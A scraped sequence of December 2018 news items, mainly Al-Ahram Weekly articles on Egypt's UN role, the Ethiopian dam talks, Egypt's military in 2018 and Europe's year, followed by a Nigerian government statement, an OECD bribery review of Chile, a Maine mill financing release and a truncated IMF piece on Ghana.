accordance with the purposes and principles of the United Nations Charter. Most recently, Egypt has been exercising this leading role on behalf of these nations during its membership of the Security Council as a non-permanent member for 2016 and 2017. In its approach to national and regional issues, Egypts foreign policy has been based over the years on a number of fundamental premises that include respect for the principles of international law and justice and its application in the relations between states. This was demonstrated in Egypts positions during the Egyptian-Israeli Peace Treaty negotiations, negotiations to settle the Palestinian issue, arbitration over Taba, the delimitation of Egypts maritime borders, the protection of Egypts rights to Nile water, the settlement of many Arab crises through peaceful means while preserving the unity and territorial integrity of the Arab states, and the fight against terrorism in all its forms and manifestations. Since the creation of the United Nations, Egypt has actively participated in all international conferences and United Nations organs and committees concerned with international law. Egyptian representatives have significantly contributed to the work of the International Court of Justice, the International Tribunal for Yugoslavia, the International Law Commission, the Committee on International Trade Law, the Human Rights Committee, the Committee on the Definition of Aggression, the Conference on the Law of the Sea and the Conference establishing the International Criminal Court, among others. In such United Nations fora, Egypt and the Third World countries have strongly supported the United Nations Charter and the principles of the sovereignty and equality of states, as well as those of non-aggression and non-intervention. They have further called on the United Nations to approach the issue of human rights guided by the principles of impartiality, objectivity and non-selectivity, within a context of dialogue and cooperation rather than of confrontation and condemnation. In addition, Egypt and the Third World countries have actively worked together with a view to codifying and progressively developing principles of international law that reflect the interests of the developing nations. They have succeeded in upholding novel legal concepts such as the right to development, the right to self-determination, the New World Economic Order, a states permanent sovereignty over its resources, the common heritage of humanity, exclusive maritime economic zones, the protection of human rights without discrimination and justice and equality in the application of international economic law. As a founding member of the Asian-African Legal Consultative Organisation (AALCO), which includes 47 member states from Asia and Africa, Egypt has endeavoured over the years to promote legal cooperation between the Asian and African countries and coordinate their positions in the field of international law. In its active involvement in the law-making processes of the United Nations, the AALCO has made valuable contributions in the fields of diplomatic law, the law of treaties, the law of the sea, human rights and international humanitarian law, international criminal law and environmental law, among others. One of the fundamental principles of the United Nations under its charter is the respect for international law and justice. However, the organisation has often failed in ensuring that member states apply international law and abide by it in their relations. In many cases, states have violated United Nations Resolutions, adopted double standards, and given precedence to their own political interests over their legal obligations. However, the United Nations has been successful in its mission, derived from its charter, of calling for the progressive development of international law and its codification. This role has been performed by the United Nations International Law Commission, which was created in 1947 and currently comprises 34 prominent experts in international law drawn from all the regional groupings in the United Nations and representing the worlds major legal systems. Through their participation, the Egyptian members of the Commission have actively contributed over the years to its collective work in the field of international law. These members have included figures such as the late Abdallah Al-Erian, former UN secretary-general Boutros Boutros Ghali, former secretary-general of the Arab League Nabil Al-Arabi, and the present writer. Since its creation, the Commission has drafted multilateral treaties in the most important areas of state relations such as diplomatic relations, the law of treaties, the law of the sea, the law of international watercourses and the law of criminal responsibility. The Commissions current agenda includes further topics of contemporary importance such as crimes against humanity, the protection of persons in the event of disasters, the expulsion of aliens, the protection of the atmosphere, the immunity of state officials from foreign criminal jurisdictions and the protection of the environment in armed conflicts, among others. It has a rich agenda of legal texts to be submitted to the United Nations General Assembly for adoption. Finally, it is my firm conviction that as a founding member of the United Nations and former member of the Security Council, Egypt will continue supporting the world organisations central role in our increasingly globalised and inter-connected world. However, in order to play that role, the United Nations ought to be given full support by its member states, as well as undergo institutional reform to make its decision-making more representative, fair and credible. Let us always remember, however, that despite its failings the United Nations remains the principle representative of international legitimacy and the best hope for ushering in a world based on the rule of law and justice * The writer is former assistant foreign minister for international legal affairs. * A version of this article appears in print in the 13 December, 2018 edition of Al-Ahram Weekly under the headline: Egypt and the United Nations Search Keywords: Short link: The Federal Government has described as an act of desperation a statement credited to the Peoples Democratic Partys presidential candidate, Atiku Abubakar, that killings will continue if President Muhammadu Buhari is re-elected.The Minister of Information and Culture, Lai Mohammed, stated the government position at a media briefing on Thursday in Abuja.The minister said that Atiku is desperate due to his floundering campaign and admonished the former Vice President to stop bad politicking and politicising killings.It is clear to all Nigerians that the electioneering campaign of the PDP presidential candidate has failed to gain traction.From Sokoto to Ilorin to Ibadan to Gombe, it has been a disastrous outing for the campaign. With that magnitude of failure, anyone can say anything to stay afloat, he said.The minister also reacted to the allegation of clampdown on civil society with the re-arrest and detention of Deji AdeyanjuHe said: There is no clampdown on any civil society, except in the wild imagination of naysayers. As I have said, being in opposition is no licence to break the law and then hope to escape justice.If the Police have re-arrested Adeyanju, they must have a compelling reason to do so. Anyone who breaks the law must face justice.Mohammed said that the alleged fear that the security agencies might be partisan during the 2019 polls was unfounded.The opposition is only crying wolf where there is none, and in view of what they did during their 16 years in power. They never really won a free and fair election. Their strategy was to use the security agencies to thwart the wishes of voters.They did it in Ekiti and Osun in 2014. I was a victim in Osun, so I know what I am saying. But the guilty are always afraid. They think what they have done to others is what will be done to them, he saidThe minister assured that under President Buharis watch, no security agency would play such an ignominious role in any election. The great challenge now facing the world is to maintain the values of the open society while simultaneously fighting the forces of extremism, be they political, religious or ethnic. 2018 marked the centenary of the end of the Great War, an anniversary that resonated in the media throughout the year, offering a timely reminder that the global system is perfectly capable of sleepwalking into the most horrific nightmare. Tellingly, in the last 12 months, rather than being resolved or even moving towards resolution, ongoing crises have become ever more convoluted. In many parts of the world rabid forms of nationalism have increasingly bared their teeth. The glaring inequality in the distribution of the fruits of globalism is one reason this has happened. Governments around the globe have shown themselves peculiarly inept at cushioning the poorer members of their societies from bearing the brunt of the economic fallout of structural change. In many ways the outgoing year has felt like a year in waiting during which the world held its breath, waiting to see what might happen. The leading sponsor of the global order, the United States, is in domestic crisis, and the challenge to its leadership, from China and Russia, is growing. The Middle East, a region of profound instability, failed to achieve a single settlement of its numerous crises in the last 12 months. From Yemen to Syria, Libya to Iraq, the resolution to conflicts has again been deferred, rolling over to the New Year where they will once again top the regional agenda. The one glimmer of light has been the near demise of Islamic State, but any optimism this might engender must be weighed against signs that Al-Qaeda is once again gathering its forces. The usual conferences were convened and talks held but they failed to end any of the political rivalries and armed conflicts raging in the Middle East, though on the domestic front Egypt made significant progress in uprooting terrorism from Sinai. The successes of Comprehensive Operation Sinai 2018 have been notable: the capabilities of terrorist organisations on the peninsula have been seriously depleted, and the process will continue into 2019. Internationally, free trade, illegal migration, climate change, border disputes and ethnic and sectarian clashes will continue to make headlines in the coming year. Indeed, they are likely to intensify as the biggest national players and regional blocs on the world stage jockey for position. Washington, under Donald Trump, clearly has a different view of multilateral cooperation than previous administrations. The world economy will continue to face challenges that threaten more turbulences as citizens who are already paying the price of reform and restructuring programmes increasingly vent their anger and frustrations, in the most developed Western societies as well as the countries of the Third World. The great test of the coming year will be to transform that anger and frustration into hope rather than despair. *A version of this article appears in print in the 20 December, 2018 edition of Al-Ahram Weekly under the headline: 2018: A year in waiting Search Keywords: Short link: Doaa El-Bey reviews another year of inconclusive meetings to determine the workings of the Grand Ethiopian Renaissance Dam More than three years have passed since Egypt, Ethiopia and Sudan signed the Khartoum Declaration the Declaration of Principles on the Grand Ethiopian Renaissance Dam (GERD) in March 2015, yet there has been little progress in resolving differences among the three countries. Among the most difficult issues yet to be resolved the timetable for filling the dams reservoir, and protocols for operating GERD, have proved the thorniest. The arrival of new Ethiopian Prime Minister, Abiy Ahmed, to power in April this year offered some grounds for optimism, says Mohamed Hegazi, a former assistant to Egypts foreign minister. Ahmed visited Egypt in June, meeting with President Abdel-Fattah Al-Sisi, a move that Hegazi saw at the time as implanting the seeds of understanding and settingthe trainon the right track. Others are more pessimistic. According to one diplomat, the continuous delay to an agreement only benefits Ethiopia which is continuing to construct the dam. We expected this political meeting at the highest level to push forward towards a genuine agreement. The year is coming to an end without any agreement being reached. Rakha Hassan, a member of the Council for Foreign Affairs, agrees. We saw a number of meetings held throughout the year but unfortunately the facts on the ground have not changed, he says. The timetable for filling the reservoir is a critical issue for Egypt and has been the focus of recent negotiations. The quicker the fill, the less water will flow on to Sudan and Egypt. Ethiopia could theoretically fill the reservoir to full capacity in three years. Cairo wants a more extended timetable of up to 10 to 12 years. There were a number of attempts over the last 12 months to bridge the differences between Cairo and Addis Ababa. In January, Ethiopias then prime minister, Hailemariam Desalegn, rejected Cairos suggestion that the World Bank become a party to negotiations concerning the dam. Addis Ababas refusal followed Desalegns three-day visit to Egypt during which several cooperation agreements were signed. The visit had been expected to ease tensions between the two states but in fact placed further obstaclesin the path of any agreement. Sudan backed Addis Ababas decision. Shortly after Desalegns visit President Al-Sisi, Desalegn and Sudans President Omar Al-Bashir met on the margins of the African Union (AU) summit and agreed to resume tripartite negotiations but Desalegns resignation in February postponed the resumption of talks until April, when Ahmed was appointed. When Ahmed took office there were hopes that a breakthrough was imminent, especially after he managed to end the cold war with neighbouring Eritrea. Ahmeds arrival could have helped ease the situation, says Hassan. He was open to his neighbours. He improved relations with South Sudan, ended the cold war with Eritrea and showed willingness to cooperate with Egypt. Yet when meetings on the political and technical levels were held they resulted in no positive outcomes on the ground. The first nine-party meeting,attended by the foreign and irrigation ministers as well as the heads of intelligence of Egypt, Sudan and Ethiopia, was held soon after Ahmed came to power but concluded without producing any tangible outcomes regarding the filling of the reservoir or the operation of the dam. A second nine-party meeting was held in May. It was more positive, says Hegazi, since it established a mechanism for dialogue on three levels, political, technical and strategic, although obstacles remained before reaching any agreement on pending issues. The meeting resulted in the setting up of a National Independent Scientific Research Study Group todiscuss ways to enhance the level of cooperation between the three countries through in the words of the document released following the meeting addressing equitable and reasonable utilisation of shared water resources while taking all appropriate measures to prevent any significant harm being caused. The group comprises 15 members, five from each country.It has held several meetings.In the most recent Ethiopia proposed that the timetable for filling the reservoir be flexible, allowing for changes according to the annual study according to the level of floods and rainfall each year. The proposal was, however, rejected by the technical committee formed to review alternatives, largely because Ethiopia had displayed no commitment to implementing earlier agreements, including the Declaration of Principles. In June Ahmed visited Egypt and reassured President Al-Sisi that Ethiopia was seeking only topromoteits own development without harming the Egyptian people. Egypts share of Nile water will be maintained... and even increased, Ahmed told a news conference in Cairo after talks with President Al-Sisi. In return, Al-Sisi underlined Egypts willingness to promote investment in Ethiopia. In August Foreign Minister Sameh Shoukri and Intelligence Chief Abbas Kamel visited Addis Ababa to meet Ahmed and delivered a message from President Al-Sisi urging bilateral relations to be enhanced, andto push ahead with decisions made on the dam. The scientific group briefed the irrigation ministers of the three countries on the latest recommendations on the suggested timeframe to fill the dams reservoir in a meeting held in Addis Ababa in September. No concrete recommendations emerged from the meeting. It was yet another meeting that ended with optimistic statements and an expression of the will to cooperate but no tangible results, said one diplomat. Minister of Water Resources and Irrigation Mohamed Abdel-Ati announced the three countries had reiterated their commitment to continuing talks in order to reach a satisfactory agreement on the timing and method of filling the dam as per the Declaration of Principles. We are looking for the best possible scenario to fill the Renaissance Dam, one that will not negatively impact downstream countries, he said. Abdel-Atis Ethiopian counterpart, Seleshi Bekele, stressed that negotiations on filling the reservoir, based on the Declaration of Principles, remained essential. Khedr Mohamed, Sudansminister of irrigation and water resources, meanwhile stated that the construction of the dam represents a new era of cooperation in the Nile Basin. Egypt insists it has a historic legal right to 55.5 billion cubic metres of Nile water per annum, fixed under the 1929 and 1959 agreements that also guaranteed Sudan a total of 18.5 billion cubic metres. The agreements also give Egypt a veto onany projects to be built upstream. In 2011 Ethiopia took the decision to build a dam on the Blue Nile, the tributary which supplies Egypt with the lions share of its annual quota of Nile water, without consulting Cairo. Cairo fears the dam will reduce Egypts share of Nile water. Addis Ababa says it will not. Negotiations between the two came to a halt following the 30 June Revolution in 2013. They resumed a year later, with the election of President Al-Sisi. In September 2014 the water ministers of Sudan, Ethiopia and Egypt signed an agreement to form a tripartite technical committee to hold regular meetings to study the dam and oversee the work of the consultancy firms employed to assess its impacts. In March 2015, the heads of state of the three countries signed the Declaration of Principles.Ethiopia committed to undertake independent studies of the projects impact, fill timeline and operation of the dam. The tripartite committee opted to hire two French consultancy companies BRL and Artelia in September 2016 to study the possible impacts of the dam on Egypt and Sudan. Numerous meetings have followed but no agreement hasbeen reached. In November 2017, with more than 60 per cent of the dam completed, talks broke down when the three countries failed to agree on the preliminary reports produced by the consultancy companies. Construction of the dam was scheduledto be complete by mid-2017 but that date has been pushed back because of technical problems and corruption in the building process. In July, the chief engineer died under mysterious circumstances. Another suspicious death occurred in May when an executive from the Nigerian company supplying the dams cement was killed while visiting a restive region of Ethiopia. Economic problems have also hampered construction, as Ethiopia found itself unable to pay suppliers. Ahmed has expressed concern over the delay. It is a project that was supposed to be completed within five years, but seven years later not a single turbine is operational, he told the media during a news conference in Addis Ababa in September. The delayshave been widely seen asgiving Egypt more time for negotiations, and to implement more efficient domestic water conservation plans. *A version of this article appears in print in the 20 December, 2018 edition of Al-Ahram Weekly under the headline: GERD: Friendly words but no change on the ground Search Keywords: Short link: Ahmed Eleiba reviews the many tasks undertaken by the Armed Forces in 2018 Throughout 2018 the Egyptian Armed Forces have been following through in five strategic courses of action: the fight against terrorism, epitomised this year by the launch of Comprehensive Operation Sinai (COS) 2018; modernisation of the Armed Forces; building capacity to respond to evolving threats; participating in national developmental efforts in the framework of a civilian-army partnership and strengthening regional and international military relations. Counter-Terrorism Efforts Egypt continued the battle against terrorism on various levels, including COS 2018. Launched in February this year, COS 2018 set two strategic goals: to eradicate terrorism from Sinai and stabilise the peninsula in readiness for wide-ranging development. The realisation of these aims through operations targeting terrorists was documented in 29 official military communiques released over the last 10 months. Considerable progress has also been made towards eliminating terrorist recruitment, tightening the security of maritime and land borders and fighting illegal migration. Armed Forces Spokesman Colonel Tamer Al-Rifaai recently provided an overall assessment of COS 2018. He reported that since the operation began 450 terrorists had been killed, 1,200 triggered explosive devices planted along military routes disabled, and 900 vehicles and 1,000 motorcycles used by terrorists in Sinai destroyed. Soldiers and police also destroyed 420 farms growing drugs and confiscated 118 tons of narcotic substances as well as 24 million illegal tablets. Fifteen tunnels used to smuggle terrorist operatives, arms and drugs beneath the Sinai-Gaza border have been destroyed since COS 2018 began. Security along the border was tightened by the creation of a 5km deep buffer zone. The zone was cleared over several phases and involved the relocation of residents and payment of LE1.38 billion in compensation. A 1,016 unit residential complex was built in Rafah to accommodate displaced families. In terms of daily life, markets, schools and public transport systems are now operating normally. The army has ensured food supply lines and healthcare services are working and reopened the international highway and other major routes in central and northern Sinai. The success of COS 2018 is obvious in the collapse of terrorist activity. Communication channels between terrorist cells in Sinai have been destroyed and avenues of escape have been sealed. Attempts by terrorist groups in the peninsula to occupy territory to serve as a base for expansion were thwarted in contrast to the situation in Iraq, Syria and Libya where Islamic State (IS) group and Al-Qaeda acquired territorial footholds. When formulating the objectives of COS 2018, planners and strategists took into account the fact that it is impossible, practically speaking, to end terrorism entirely. Eliminating an environment conducive to terrorism and reducing the phenomenon to the minimum are, however, attainable goals. This point was made by President Abdel-Fattah Al-Sisi, supreme commander of the Armed Forces, in a speech during the presidential campaign in March 2018, a month after COS 2018 was launched. He said Egypt could eliminate 90 per cent of terrorism but the phenomenon would persist because of the regional situation. Egypts counter-terrorism goals extend beyond the bounds of COS 2018. Discussing Egypts broader vision during the Munich Security Council in February this year, Foreign Minister Sameh Shoukri warned that military victory over IS should not be viewed as the end of the fight against terrorism but as an important step towards dismantling and eliminating terrorist networks. He stressed that Egyptian policy is to regard IS, the Nusra Front, Hayaat Ahrar Al-Sham, Ansar Beit Al-Maqdis and Boko Haram not as discrete groups but as emanations of the same ideology, movements that coordinate one with the other, and that terrorism will not be uprooted until the grounds in which extremism thrives are radically overhauled. This goal cannot be achieved by security and military measures alone. As Shoukri said, a balance must be maintained between the security and developmental dimensions of the fight against terrorism. To forestall the recruitment of new terrorists it is necessary to strike at the roots of the social, economic and ideological causes of extremism. Modernising The Armed Forces The last 12 months have seen a continuation of the drive to develop and modernise the organisational and logistical capacities of the Armed Forces that began four years ago with a focus on infrastructural development such as the construction of military bases and the setting up of new military commands. 2018 saw the inauguration of the East of the Suez Canal Command Headquarters. The new command centres role is to facilitate counter-terrorist operations and to better enable the Armed Forces to carry out the two-fold mission of protecting national security and supporting a comprehensive development process in Sinai. A second infrastructural advance this year occurred in the framework of the drive to expand the domestic arms industry. In this respect the production of the first Egyptian-made Gowind-class corvette by the Egyptian Navys Alexandria Arsenal Company in cooperation with the French Naval Group represents a major milestone. The growth of domestic military production was on show during the first Egyptian Defence Exposition (EDEX) launched in December this year. EDEX-1 showcased the boom the Armed Forces has experienced in domestic industrialisation and the expansion of advanced technology joint manufacturing projects with other countries. Threat Managment And Danger Response Capacities Progress in enhancing threat management and danger response capacities in 2018 was achieved by means of bilateral and multilateral military exercises. This year saw a rise in the number of drills with European partners, the US and Russia. The most significant joint exercises were the Bright Star manoeuvres with the US, Cleopatra with France, Medusa with Greece and Cyprus and the Defenders of Friendship with Russia. Drills with these and other European countries, including the UK and Spain, took place in the Mediterranean and Red Sea regions. Egypt also engaged in multilateral military exercises with fellow Arab countries. The Arab Shield manoeuvres brought together forces from Egypt, Saudi Arabia, Jordan, the UAE, Bahrain and Kuwait with Morocco and Lebanon attending as observers. Arab Shield is an attempt to form the kernel of a joint Arab force equipped to contend with regional security threats and revive a collective security system. The manoeuvres drew on the latest advances in training methodologies, applying them in operational theatres presenting severe and unconventional threats. The Yemen war has increased the dangers posed by naval mines and several exercises were designed to hone naval forces ability to defuse mines planted in Yemeni coastal waters. Egypts territorial waters have acquired enormous economic significance following the discovery of natural gas fields in the Mediterranean and joint exercises between Egypt, Greece and Cyprus in the Eastern Mediterranean were designed with this in mind. Other pressing concerns have contributed to shaping the training programmes. Egypts European partners are keen to include exercises in the Mediterranean designed to curb illegal migration from Africa to Europe. Another highlight of the year was Egypts contribution to the establishment of the counter-terrorism centre for the Sahel and Sahara, bolstering military relations with African states. Egypt hosted counter-terrorism exercises with countries from the Sahel and Sahara region which provided training on dealing with armed groups and freeing hostages. The exercise aimed to provide African special forces with experience of working with friendly countries during emergency situations. National Development Efforts The role of the Armed Forces in development was exemplified by their infrastructural contributions in Sinai. Since it was returned to Egypt the peninsula has remained outside developmental efforts. Now, though, LE275 billion has been earmarked for northern Sinai development. The budget will support the government and the army in the complementary roles they play in a development process which to a large extent has been shaped by national security priorities and the need to integrate Sinai with the Nile Valley and Delta. Comprehensive development extends beyond needs such as housing and urbanisation. It includes industrial and agricultural growth to create jobs and reduce dependency on imports, healthcare, education and culture. The army is engaged in projects to increase the area of cultivated land and to expand the manufacturing base as well as major infrastructural schemes such as the Nasr Floating Bridge, the first bridge of its kind to cross the Suez Canal. The army has constructed new cities New Ismailia and New Rafah and in May 2018 laid the cornerstone of Salam Misr city. The new urban centre is planned as the economic capital east of Port Said. It will bolster the process of assimilating Sinai into the national fabric and augment the peninsulas ability to attract domestic and foreign investment. Strenghtening Regional And International Relations In the course of its drive to bolster military relations with other states, multi-faceted joint military manoeuvres have been held, high-level military visits arranged and Egyptian officials and experts have been regularly invited to contribute to international conferences on security-related issues. Egypt views military and security relations as an inseparable part of its foreign relations and has pursued them vigorously over the course of the year. Its success in doing so was clearly displayed when the first Egyptian Defence Expo (EDEX-1) was launched this year and attracted 65 military delegations from around the world. The Armed Forces contributions extend beyond the armys conventional duties to embrace a variety of functions and services in crucial areas. While the armys core mission is to protect and secure the country, the additional roles it plays reflect a surplus strength that is invested in bolstering the Egyptian state. The military establishment has become a major player in domestic development though it must be stressed that it has assumed this developmental function in partnership with the government and civil society. *A version of this article appears in print in the 20 December, 2018 edition of Al-Ahram Weekly under the headline: Taking the lead Search Keywords: Short link: This year saw more pressure fall on the European project, particularly from Washington. So far, however, the old continent is holding up A century ago, Europe faced tough challenges with the rise of far-right nationalism, economic meltdown and militarism. It took Europe more than four decades and two world wars to respond to those challenges. And the response was political, economic and security integration in a continent that spent most of its history in deadly wars. But more than political and economic integration, what saved Europe and the rest of the world from another world war, was a set of values. Those values helped shape the world and its institutions as we know them today, from the EU to the UN, NATO, World Bank and IMF among others. Today, Europe faces the same questions and challenges. And the set of values that helped save it and the world are being severely tested, if not threatened. 2019 promises more of the same with the expected economic slowdown, the continuing challenge of Brexit and the threat of populism in the heart of Europe after Italian elections produced a populist government composed of parties far from the European mainstream. Also, the gradual fading of German Chancellor Angela Merkel, mounting problems facing French President Emmanuel Macron and the degrading power of British Prime Minister Theresa May are adding to the challenges. However, despite all the problems it could be said that when Europe looks back on 2018, the verdict will be sympathetic. The continent faced up to the threat of a trade war threatened by President Donald Trump and managed to avert it. The EU also managed to protect its interests by refusing to bow to American pressure to scupper the Iranian nuclear deal. Brexit negotiations were handled with delicacy, finding balance between protecting EU interests and trying not to alienate the British public by appearing vengeful. Standing Alone Europe stood firm in the face of the new political landscape that has been emerging since 2015 and threatened the European project altogether. But it stood alone in 2018 as the rift between Americas Trump and Europe continues widening. On the 100th anniversary of Armistice Day, which marked the end of the World War I, celebrated in a grand ceremony hosted by French President Macron in Paris last November, the rift was so wide it was almost embarrassing. The gathering, which was supposed to reflect on one of the most dreadful and horrific events in human experience, did not show world unity. If anything, it did the contrary. It showed disunity and a crack in the current international order which, ironically, was born from the womb of the two world wars. There were more differences and divergences than points of consensus on the core issues of concern to the world today. The dark shadows of the past were looming. US President Donald Trump, in particular, looked very much alone, standing on the outskirts of the world stage and isolated from long time US allies. There was restlessness and uneasiness in the air. In his Armistice speech, the French leader openly rebuked Trumps America First agenda. Nationalism is a betrayal of patriotism, Macron told world leaders. By saying, Our interests first, who cares about the others, we erase what a nation holds dearest, what gives it life, what gives it grace, and what is essential: its moral values, Macron added, warning of old demons resurging, heralding chaos. Will today be a symbol of lasting peace or a last moment of unity before the world falls into more disorder? the French president asked, adding: It depends solely on us. In her short speech, German Chancellor Angela Merkel followed Macrons steps, emphasising that, if isolation wasnt the solution a hundred years ago, how can it be today, in such an interconnected world? Later the French president said that Europe needed an EU army because it could no longer rely on the United States as a partner. Macron also talked about the need to strengthen the euros position as a global reference currency not as a challenge to the US dollar but as an alternative for purposes of stability. Trump slammed Macrons idea as very insulting. With the end of 2018, Europe can say that it stood against Trump on important issues, from Iran to climate change. However, with Trumps trade wars against the EU and China showing no signs of a slowdown, there is an almost inevitable clash ahead between Trumps administration and Europe. Also, many experts expect a slowdown in the world economy in 2019 because of the new cold war over information technology. Trumps recent crusade against Chinas telecom giant Huawei is dividing Europe. US Secretary of State Mike Pompeo recently accused China of hacking the Marriott Hotel chain and stealing information on up to 500 million people, which exposed fault-lines between US allies in Europe, as well as the intelligence community or the Five Eyes. Germany, among other European countries, wanted proof that Huawei poses a security risk. The heating conflict shows how the US administration is driving allies to take sides in a global dispute and measure their economic interests which are deeply entrenched with Chinese vendors against the value of a security alliance with Washington. Support For The EU Still High Nonetheless, its not all doom and gloom. The emergence of French President Macron as a powerful defender of the European project and the fourth-term victory of Merkel put a brake on an anti-EU trend represented by Brexit. Also, despite Brexit, or maybe because of Brexit, the European appetite for integration remain strong. There is optimism for the EU project even with only three months to go before the UK leaves the EU, and despite the vague nature of the future Britain-EU relationship. A study by the International Business Report showed that firms are taking it in their stride. A sizeable proportion of eurozone businesses believe that the membership structure of the EU will change post-Brexit. Nearly half (43 per cent) believe it will lead to a two-tier EU membership model. But only five per cent think it will lead to the EU being dissolved. One in four (26 per cent) believe Brexit will have no impact on the EU. The report continues: Despite the UKs imminent departure from the EU, the political powers that be still see integration as critical to the blocs future. In May 2018, the European Commission published its draft budget for 2021-27. It describes the document as a budget that unites and does not divide. () For European businesses, integration remains firmly on the agenda too. Across the eurozone 65 per cent of businesses would like to see further EU economic integration, up from 63 per cent last year. However, just 35 per cent want further political integration. This down from 44 per cent last year. Germany is the only country where more than half of business leaders (63 per cent) want to see further political integration. Outside the eurozone, Polands overwhelming backing for greater economic EU integration stands out. 82 per cent of firms are in favour. Optimism In The Face Of Adversity Many existential issues such as climate change, Brexit, the relationship with Russia, the Iran nuclear deal, the threat of North Korea, the UN role and the future of NATO will remain on the agenda in the coming months. And with Trump talking about nationalism, protectionism and building borders as a good thing, it is not even clear if he is willing to lead the world towards a common agenda. So, Europe must act to protect its interests. It is all to play for in the European Parliament elections in May 2019. A very strong showing by populist forces in the European Parliament, where no faction enjoys an absolute majority, could put them in a position to complicate or even block the formation of a new commission. Key elections issues include jobs, meaning economic policy, the nature of the internal market and the scope of free trade. Security will also be key, including social policy and asylum and refugee policies. With Merkels leadership fading, Macron facing unprecedented domestic challenges, Brexit in chaos and the right-wing government in Italy moving towards an economic time-bomb because of its desire to abandon the austerity measures, the result of the coming elections cannot be overstated. The biggest challenge Europe faces now is the democratic deficit reducing the gap between the millions of ordinary citizens and the elite in Brussels. This gulf real or perceived is proving a capital test for European mainstream parties that are losing to right-wing parties, some of which are new on the scene. As open and pluralistic as the EU project likes to represent itself as, there is no doubt that to survive adversity, Europe needs to look at the last century and learn a few lessons. *A version of this article appears in print in the 20 December, 2018 edition of Al-Ahram Weekly under the headline: The battle for Europe Search Keywords: Short link: 20/12/2018 - Chile has stepped up its fight against foreign bribery in recent years but could do more to increase enforcement and compliance with the OECD Convention, according to a new report by the OECD Working Group on Bribery. The Working Group has just completed its Phase 4 evaluation on Chiles implementation of the Convention of Combating Bribery of Foreign Public Officials in International Business Transactions and related instruments. Since Phase 3, Chile has increasingly resolved corruption cases through conditional suspensions and abbreviated procedures. These instruments have contributed to increasing foreign bribery enforcement. However, some aspects of these resolutions are insufficient to ensure proper transparency and accountability. Chile should ensure that these instruments remain available to the prosecutor while providing guidance on when and how to use these instruments, and on the appropriate terms of a resolution. Judicial oversight of the resolution process needs to be increased. The reasons for a resolution and the choice of its terms should be publicised to let the public determine the appropriateness of these decisions. The Group made further recommendations to improve Chiles fight against foreign bribery, including: Bring its corporate liability regime in line with the Convention Improve guidance for an effective offence prevention model (i.e. corporate compliance programme) Better regulate certifiers of prevention models and clarify that certification does not equate to compliance Rectify whistleblower protection which is weak in the public sector and non-existent in the private sector Implement longstanding recommendations on confiscation and bank secrecy The report also highlighted positive aspects of Chiles efforts to fight foreign bribery. Chile obtained its first foreign bribery conviction in November 2016, and resolved charges against a company and its manager in another case in October 2015. Recent legislation significantly improved the general anti-corruption framework including the foreign bribery offence, sanctions and limitation period. Foreign bribery cases are assigned to Regional Prosecutors and supported by specialised prosecutor and police units, though additional training and expertise are needed. The reporting of suspicious money laundering transactions contributes to corruption detection. Measures to prevent, detect and report corruption in overseas aid programmes are in place but should be strengthened. The OECD Working Group on Bribery, which is composed of 44 countries, adopted the report on 13 December 2018, including recommendations made to Chile on pages 69-75. In accordance with standard procedures, Chile is invited to report to the Working Group in writing in two years (by December 2020) on its implementation of these recommendations and on its foreign bribery enforcement actions. This report, available at www.oecd.org/corruption/anti-bribery/OECD-Chile-Phase-4-Report-ENG.pdf, is part of the OECD Working Group on Briberys fourth phase of monitoring, which was launched in 2016. Phase 4 examines the evaluated countrys particular challenges and positive achievements. It also explores issues such as detection, enforcement, corporate liability, and international cooperation, as well as unresolved issues from prior Working Group evaluations. For further information, journalists are invited to contact Daisy Pelham (+33 (0)1 45 24 90 81). For more information on Chiles work to fight corruption, please visit www.oecd.org/daf/anti-bribery/chile-oecdanti-briberyconvention.htm. Working with over 100 countries, the OECD is a global policy forum that promotes policies to improve the economic and social well-being of people around the world. We have used your information to see if you have a subscription with us, but did not find one. Please use the button below to verify an existing account or to purchase a new subscription. Finance Authority of Maine Awards $12 Million in Tax Credits to ND Paper's Old Town Mill In October 2018, OTM Holdings sold the Old Town mill to ND Paper, a wholly-owned subsidiary of Nine Dragons Paper (Holdings) Limited. ND Paper expects to restart in the first quarter of 2019 and ultimately produce 275,000 admt per year of unbleached kraft pulp. Dec. 20, 2018 - At its December 13, 2018 board meeting, the members of the Finance Authority of Maine (FAME) approved financing for three separate projects that collectively are expected to help create and retain at least 700 Maine jobs. The projects range from renewable energy at Brunswick Landing to public infrastructure improvements in Westbrook to the re-start of the shuttered Old Town mill. Approval of the deal for the Old Town mill concerns financing through the Maine New Markets Capital Investment Program for approximately $31.8 million in investments at the Old Town mill in the company formed to hold the facility, ND OTM, LLC. In connection with the investments, a total of approximately $12 million in tax credits will be awarded over the next seven years. The FAME Board certified applications for investments in the following six community development entities: Stonehenge Community Development 124, LLC; CCG Sub-CDE 44, LLC; Enhanced Capital New Market Development Fund 58, LLC; Community Development Funding XXII, LLC; UA Sub-CDE XXV, LLC; and CIF XIV, LLC. The companies will use the proceeds of the investments for various capital improvements, investments in working capital, construction, equipment procurement, and other related improvements in order to re-start and optimize a pulp manufacturing facility at the site of the currently shuttered Old Town mill. This is expected to create or retain approximately 130 direct and 635 indirect and induced jobs related to the site. The Old Town mill site has been idle for approximately three and one-half years. In October 2018, OTM Holdings sold the mill to ND Paper, a wholly-owned subsidiary of Nine Dragons Paper (Holdings) Limited. ND Paper operates three pulp and paper mills in North America with combined annual production capacity exceeding 1.1 million metric tons, including the fully-integrated pulp and paper Rumford Division in Oxford County, Maine. FAME has administered the Maine New Markets Capital Investment Program since the Legislature created it in 2011. It does so in cooperation with Maine Revenue Services. The program is designed to attract investment in economically distressed areas of the state. It allows eligible investors to claim tax credits against state taxes in amounts up to 39 percent of a project's total cost. The maximum aggregate amount of tax credit authority is set forth at $250 million, of which after today approximately $11 million remains. We are grateful for FAME's assistance with our plans for the Old Town mill, stated Brian Boland, Vice President of Government Affairs and Corporate Initiatives at ND Paper. The financing will help us expeditiously re-start this idled facility that will ultimately supply pulp to a global base of customers. Even more importantly, an operating Old Town mill will once again provide, directly and indirectly, literally hundreds of well-paying jobs for hard-working Mainers. FAME is a quasi-independent state agency that provides financial solutions that help Maine people achieve their business and higher education goals. FAME is celebrating its 35th Anniversary and helps to create a Maine workforce that with good-paying jobs by focusing on the nexus of economic and educational development. FAME recently was recognized for the fourth year in a row as one of the Best Places to Work in Maine. To learn more about FAME, please visit www.famemaine.com SOURCE: Finance Authority of Maine (FAME) Managing Director of the International Monetary Fund (IMF), Christine Lagarde, says rising debts and revenue shortfall pose a major threat to the countrys economy. Ms Lagarde advised government to pay serious attention to the afore-stated areas. Government failed to meet its revenue target for the first seven months of this year, as it recorded about GH3 billion short of the target. Expenditure, on the other hand, has 